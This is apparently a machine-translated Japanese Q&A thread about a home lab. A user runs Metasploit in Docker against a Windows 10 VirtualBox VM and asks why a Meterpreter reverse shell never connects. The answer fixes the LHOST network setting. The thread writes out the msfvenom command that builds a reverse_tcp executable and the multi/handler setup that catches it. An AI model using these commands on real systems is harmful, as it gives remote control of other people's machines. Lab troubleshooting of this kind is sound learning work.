web-dev-qa-db-ja.com

Dockerと仮想ボックスを介したMetasploitリバースシェル

私はdockerでmetasploitを実行しています:remnux/metasploitから、仮想ボックスでWindows 10を実行している仮想マシンでリバースシェルを開きます。 DockerコンテナーとVMは、IPが192.168.10.1の同じホストマシンで実行されます。

囲碁:

 Sudo docker run --rm  -it -p 8080:8080 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

次に:

 msfvenom  -p windows/meterpreter/reverse_tcp --platform windows -a x86
 LHOST=192.168.10.1 LPORT=8080 -f exe -o file.exe

そして、msfconsoleを起動します。

msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.10.1:8080:-  -
[*] Started reverse TCP handler on 0.0.0.0:8080 
[*] Starting the payload handler...

最後に、Windows 10マシンでfile.exeを開いても何も起こりません。ホストマシンでポート8080が開いていること、およびvmがホストマシンに192.168.10.1でpingできることを確認しました

私のvirtualboxネットワーク構成はブリッジアダプターに設定されています。

さらに、私はこのvmでアンチウイルスを実行しておらず、windows defenderがダウンしています。

これが機能しない理由について誰かが何か考えを持っていますか?前もって感謝します。

1
warsang

私の理解から、あなたは以下を持っています:

  • 192.168.10.1(ホストマシン)
  • 192.168.10.2(VM)
  • 172.17.0.x(docker w/metasploit ...はdocker inspect <container id>から取得できます)

172.17.0.xからmetasploitを実行しているので、代わりにLHOST=172.17.0.xを設定する必要があります

Dockerエンジンがホスト上にルートを設定してトラフィックを172.17.x.xからdocker0ブリッジに転送するため、これは機能するはずです

このルートをローカルネットワークルーターにも設定する必要がある場合があります(172.17.xxから192.168.10.1)... VMがホストコンピューターをゲートウェイとして使用していないためです。 ..代わりに実際のネットワークゲートウェイと通信しています(VMの設定方法によって異なります)。

2